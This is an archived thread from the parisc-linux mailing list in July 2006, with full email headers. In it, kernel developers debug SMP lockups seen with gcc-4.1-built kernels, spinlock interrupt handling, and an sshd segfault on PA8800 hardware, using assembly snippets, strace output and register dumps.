Use gcc-4.1 to build 64-bit-smp;

Pick a machine with two or more processors (Joel has PA8000 & PA8700);
Pick yourself a never-ending script that keeps all processors busy;

Run the gcc-4.1 built kernel; observe that machine locks up after some
time period ranging from hours to a few days;

Boot the gcc-3.3 built kernel; observe that machine runs for weeks.

Yes, there is something getting compiled differently than intended.

Q) Is the following an expected difference?

send_group_sig_info:                              send_group_sig_info:
    .PROC                                             .PROC
    .CALLINFO FRAME=144,CALLS,SAVE_RP,ENTRY_GR=6 |    .CALLINFO FRAME=160,CALLS,SAVE_RP,ENTRY_GR=7

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mysterious hangs with parisc (a
	send_group_sig_info() analysis)
Date: Sat, 22 Jul 2006 22:10:04 +0000
Lines: 71
Approved: news@gmane.org
Message-ID: <44C2A23C.8000509@tiscali.be>
References: <20060624015935.GJ12481@quicksilver.road.mcmartin.ca>	
	<200606240241.k5O2fALQ001885@hiauly1.hia.nrc.ca>	
	<20060705164734.GB30640@athena.road.mcmartin.ca>	
	<44AD54F0.90508@tiscali.be>	
	<20060706183409.GB5692@athena.road.mcmartin.ca>	
	<44C1338C.7010607@tiscali.be>
	<119aab440607221029h1acda159mf4c4e5baca2f0c1e@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624137 20505 80.91.229.3 (22 Nov 2014 02:42:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:17 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave@hiauly1.hia.nrc.ca>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2006 22:10:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 23 Jul 2006 00:10:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D05327D6CA;
	Sat, 22 Jul 2006 16:10:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28947-03; Sat, 22 Jul 2006 16:10:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1646F7D6D2;
	Sat, 22 Jul 2006 16:10:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05A2F7D6B6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 16:10:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28336-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 16:10:24 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 827467D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 16:10:23 -0600 (MDT)
Original-Received: from ([62.235.210.192])
	by weequay.is.scarlet.be  with ESMTP id k6MMA9x16825;
	Sun, 23 Jul 2006 00:10:10 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.13) Gecko/20060620 Debian/1.7.13-0.2
X-Accept-Language: en
In-Reply-To: <119aab440607221029h1acda159mf4c4e5baca2f0c1e@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bZD1c9sPbGI0oKaDYmRnV5JncmZ1ZpxW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23839



Carlos O'Donell wrote:
>>         Q4: imho the most important: with 2 gcc where is the couple of 
>> ssm/rsm that jejb introduced in his patch:
> 
> 
> The *most* important piece of imformation is the pre-compiled source.
    if (flags & 0x00000001) {
     __asm__ __volatile__("ssm %0,%%r0\n" : : "i" (0x00000001) : "memory" );
     __asm__ __volatile__("":::"memory");
     __asm__ __volatile__("rsm %0,%%r0\n" : : "i" (0x00000001) : "memory" );
    } else
     __asm__ __volatile__("":::"memory");

> You *must* determine that both paths of the if/else are different,
> because if they are the same, then GCC is right to remove one of the
> paths, and unconditionally call cpu_relax.
> 
and flags is a parameter of __raw_spin_lock_flags():
static inline __attribute__((always_inline)) void __raw_spin_lock_flags(raw_spinlock_t *x,
       unsigned long flags)

So i didn't see how gcc could know at compile time that (flags & 0x00000001) was always false?

> Where is the pre-compiled source to prove that the paths aren't identical?
> 
Well I don't think that pre-compile stuff would help more because doesn't inlining stuff like as #define would?

That said I think to have found what you want to learn me: isn't it exactely this inlining into:
static __inline__ __attribute__((always_inline)) void __raw_read_unlock(raw_rwlock_t *rw)
{
  __raw_spin_lock_flags(&rw->lock, 0);

--- snip ---

where obvioulsy (0 & whatelse) == 0 (i.e. false)

Is it well what you expected we found?

> Remember to work towards a solution!
> 
So this:
  IAOQ[0]: _read_lock+0x18/0x30
  IAOQ[1]: _read_lock+0x8/0x30
  RP(r2): send_group_sig_info+0x3c/0x88

was 2.6.14-rc related and not anymore to 2.6.17 and greater?

But I haven't anymore IAOQ report when this system hang now (even TOC doesn't report any usefull info).
So where to start other investigattion?

Thanks,
	Joel

PS: would it make sence to test this nucked hunk
I mean afaik this "__raw_spin_lock_flags(&rw->lock, 0);" comes from this definition:
#define __raw_spin_lock(lock) __raw_spin_lock_flags(lock, 0)

Tbh I am a bit confused by this patch: write some stuff and say don't use it?

> Cheers,
> Carlos.
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mysterious hangs with parisc (a
	send_group_sig_info() analysis)
Date: Sat, 22 Jul 2006 18:49:18 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <200607221849.18925.mszick@morethan.org>
References: <20060624015935.GJ12481@quicksilver.road.mcmartin.ca>
	<119aab440607221029h1acda159mf4c4e5baca2f0c1e@mail.gmail.com>
	<44C2A23C.8000509@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624137 20507 80.91.229.3 (22 Nov 2014 02:42:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2006 23:49:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 23 Jul 2006 01:49:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C40FA7D6B9;
	Sat, 22 Jul 2006 17:49:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29270-07; Sat, 22 Jul 2006 17:49:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E4027D6C2;
	Sat, 22 Jul 2006 17:49:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B63EF7D6B6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 17:49:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29270-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 17:49:21 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 99F457D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 17:49:21 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k6MNnQOO002484
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 16:49:26 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [65.41.64.16] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id 2e00UeD0
	authenticated by SMTP; Sat, 22 Jul 2006 16:49:25 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <44C2A23C.8000509@tiscali.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3P2IA/kRa2A7ubvDOHQy/xIyOWhhasdB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23840

On Sat July 22 2006 17:10, Joel Soete wrote:
> 
> Carlos O'Donell wrote:
> >>         Q4: imho the most important: with 2 gcc where is the couple of 
> >> ssm/rsm that jejb introduced in his patch:
> > 
> > 
> > The *most* important piece of imformation is the pre-compiled source.
>     if (flags & 0x00000001) {
>      __asm__ __volatile__("ssm %0,%%r0\n" : : "i" (0x00000001) : "memory" );
>      __asm__ __volatile__("":::"memory");
>      __asm__ __volatile__("rsm %0,%%r0\n" : : "i" (0x00000001) : "memory" );
>     } else
>      __asm__ __volatile__("":::"memory");
> 
> > You *must* determine that both paths of the if/else are different,
> > because if they are the same, then GCC is right to remove one of the
> > paths, and unconditionally call cpu_relax.
> > 

Note: That code is the same when either compiler is used;
_But_ as a separate problem...

My reading of the intent of that added code was:

Busy_Loop:
   If (Interrupts are disabled) {
      Enable interrupts;
      Cpu_relax; /* Long enough to recognize pending interrupts */
      Disable interrupts;
   } else {
      Cpu_relax;
   }

And my complaint was a matter of structure...

The assumption here is that the flag bit in an external variable
is always in-sync with the interrupt status bit in the register.

Obviously a false assumption, this routine is an example...

Inside the first if block, the status bit is changed but the external
variable bit is not.

A general purpose, like we don't know what state the interrupts
are in, and we don't want to trust an external flag bit;

Looks like:

Busy_Loop:
   Save current interrupt status to the external variable;
   Enable interrupts; /* a nop if already enabled */
   Cpu_relax; /* Long enough to recognize pending interrupts */
   Restore interrupt status from external variable;

Our redefining Cpu_relax to a pair of nops was for machines that
delay recognizing interrupts for an instruction after changing
the status bit.  We also included an asm comment in Cpu_relax
just in case we wanted to see that it had not gotten optimized away.

Same reason the mb() was redefined as an asm comment that could
be identified by inspection.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Sat, 22 Jul 2006 21:01:03 -0400
Lines: 88
Approved: news@gmane.org
Message-ID: <7d01f9f00607221801v256dd541l152a85d7624a8d5b@mail.gmail.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624137 20511 80.91.229.3 (22 Nov 2014 02:42:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:17 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jul 2006 01:01:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 23 Jul 2006 03:01:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39D0F7D6D4;
	Sat, 22 Jul 2006 19:01:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29687-10; Sat, 22 Jul 2006 19:01:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D4E07D6CB;
	Sat, 22 Jul 2006 19:01:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECA0F7D6BD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 19:01:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29687-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 19:01:04 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.175])
	by free.linux.hp.com (Postfix) with ESMTP id 8DA457D6B1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 19:01:04 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so1976360ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 18:01:03 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=kiEapqY2tEk1LmA5Dwxd/pYlnLZP5eVBf+y0Ym5N3URhdsnbx/U3zgcKmUYW7bhjtaGoC6JFSJ00egRE4d/YrLnbRdshDgLNT2x4X9rDH4Z9YXNNtknDisP6IRwn5frAvLrkpexo/hwGFN9FvteTsGQlq/dt0raNF62pTyMTphU=
Original-Received: by 10.78.175.14 with SMTP id x14mr975891hue;
	Sat, 22 Jul 2006 18:01:03 -0700 (PDT)
Original-Received: by 10.78.172.2 with HTTP; Sat, 22 Jul 2006 18:01:03 -0700 (PDT)
In-Reply-To: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: d798391b5d7a30e9
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UPj7fIVDYW0+truGbmZpIyV0amthcxty
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23841

Carlos,

I'm observing something totally crazy right now. On the very same
machine we hacked yesterday, exact same setup (same kernel, same
binary, same everything):

i /can't/ start our static sshd anymore. It dies right after a sysctl (!):

898   mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
898   getpid()                          = 898
898   rt_sigaction(SIGRTMIN, {0x40c51eba, [], 0}, NULL, 8) = 0
898   rt_sigaction(SIGRT_1, {0x40c51ec2, [TRAP], 0}, NULL, 8) = 0
898   rt_sigaction(SIGRT_2, {0x40c51ea2, [], 0}, NULL, 8) = 0
898   rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
898   rt_sigprocmask(SIG_UNBLOCK, [RT_1], NULL, 8) = 0
898   _sysctl({{CTL_KERN, KERN_VERSION}, 2, 0xc00e67d4, 36, (nil), 0}) = 0
898   --- SIGSEGV (Segmentation fault) @ 0 (0) ---
898   +++ killed by SIGSEGV +++

as you can see at that point it hasn't even yet spawned any child. gdb
isn't of much help, as the backtrace is pretty clueless:

(gdb) symbol-file /home/varenet/openssh-4.3p2/sshd
Reading symbols from /home/varenet/openssh-4.3p2/sshd...done.
(gdb) set follow-fork-mode child
(gdb) set args -D -p 2222
(gdb) run
Starting program: /usr/local/test/sbin/sshd -D -p 2222

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) bt
#0  0x00000000 in ?? ()
#1  0x40c3a9a0 in ?? ()
Previous frame identical to this frame (corrupt stack?)

finally dmesg shows:

do_page_fault() pid=898 command='sshd' type=6 address=0x00000003

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001011 Not tainted
r00-03  0000000000000000 0000000040c5233c 0000000040c3a9a3 00000000c00e67d4
r04-07  0000000040c5233c 0000000040c51a80 000000004069e830 0000000000000200
r08-11  0000000040c513d4 00000000000000e1 0000000080000001 0000000090000000
r12-15  00000000d0000000 000000000021fd70 00000000001a5800 00000000001a5800
r16-19  000000000004c8c0 00000000c00de698 000000000004c8c0 0000000040c5233c
r20-23  0000000000000000 0000000000000053 0000000000000000 00000000c00e66c8
r24-27  00000000c00e67d4 0000000040c401b2 00000000c00e67d7 00000000001db060
r28-31  0000000040c51a80 0000000000000213 00000000c00e6a40 0000000040c3a9a3
sr0-3   00000000001fa800 0000000000000000 0000000000000000 00000000001fa800
sr4-7   00000000001fa800 00000000001fa800 00000000001fa800 00000000001fa800

The cool thing is that i can /consistently/ reproduce this.

I'm leaving the box powered up, not touching anything until we get a
chance to investigate this a bit more.

Aside that, I /really/ believe that the fact that we can trigger the
bug that easily with some network applications isn't a coincidence.
Grant's hint of a dma think problem shouldn't be overlooked. The
"make" failures could also be I/O related...

HTH

T-Bone

PS: i tried "ssh localhost" with the 'normal' sshd (/usr/sbin/sshd) as
I told you earlier today, it dies as expected with pretty much the
same tombstones that those we've seen yesterday.

Haven't investigated that much more at that point.

Note: you and James can access that machine (provided you remember
your password) and that your ssh key on mkhppa02.esiee.fr is valid. If
there's a problem with any of these, it's easy to fix. If jda wants an
account, it's also easy

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Sun, 23 Jul 2006 11:28:45 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <200607231128.45454.mszick@morethan.org>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<7d01f9f00607221801v256dd541l152a85d7624a8d5b@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624138 20515 80.91.229.3 (22 Nov 2014 02:42:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:18 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jul 2006 16:28:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 23 Jul 2006 18:28:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9E447D6D8;
	Sun, 23 Jul 2006 10:28:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04503-04; Sun, 23 Jul 2006 10:28:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EE357D6D3;
	Sun, 23 Jul 2006 10:28:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B60A7D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 10:28:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04199-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 10:28:48 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id F25E57D6C6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 10:28:47 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k6NGSmPS093151;
	Sun, 23 Jul 2006 09:28:48 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.76.171] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id PEO0vIU2
	authenticated by SMTP; Sun, 23 Jul 2006 09:28:47 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <7d01f9f00607221801v256dd541l152a85d7624a8d5b@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +5rwfNxQMmApvrSZZGFndgcxMjQ1Nx0t
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23842

On Sat July 22 2006 20:01, Thibaut VARENE wrote:
> Carlos,
> 
> I'm observing something totally crazy right now. On the very same
> machine we hacked yesterday, exact same setup (same kernel, same
> binary, same everything):
> 
> i /can't/ start our static sshd anymore. It dies right after a sysctl (!):
> 
> I'm leaving the box powered up, not touching anything until we get a
> chance to investigate this a bit more.
> 

Is it still possible to capture the kernel's internal state by
copying /proc/kcore to a file somewhere?

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Sun, 23 Jul 2006 22:54:38 -0400
Lines: 39
Approved: news@gmane.org
